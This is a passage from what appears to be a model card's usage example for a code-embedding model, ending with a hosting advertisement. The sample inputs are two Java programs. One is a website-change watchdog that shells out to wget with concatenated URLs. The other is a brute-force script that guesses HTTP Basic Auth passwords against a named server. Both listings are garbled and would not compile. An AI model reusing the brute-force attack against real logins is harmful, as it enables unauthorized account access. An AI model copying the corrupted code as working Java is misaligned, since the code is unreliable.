 {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Deploy This Model

Production-ready deployment in minutes

Together.ai

Instant API access to this model

Fastest API

Production-ready inference API. Start free, scale to millions.

Try Free API

Replicate

One-click model deployment

Easiest Setup

Run models in the cloud with simple API. No DevOps required.

Deploy Now

Disclosure: We may earn a commission from these partners. This helps keep LLMYourWay free.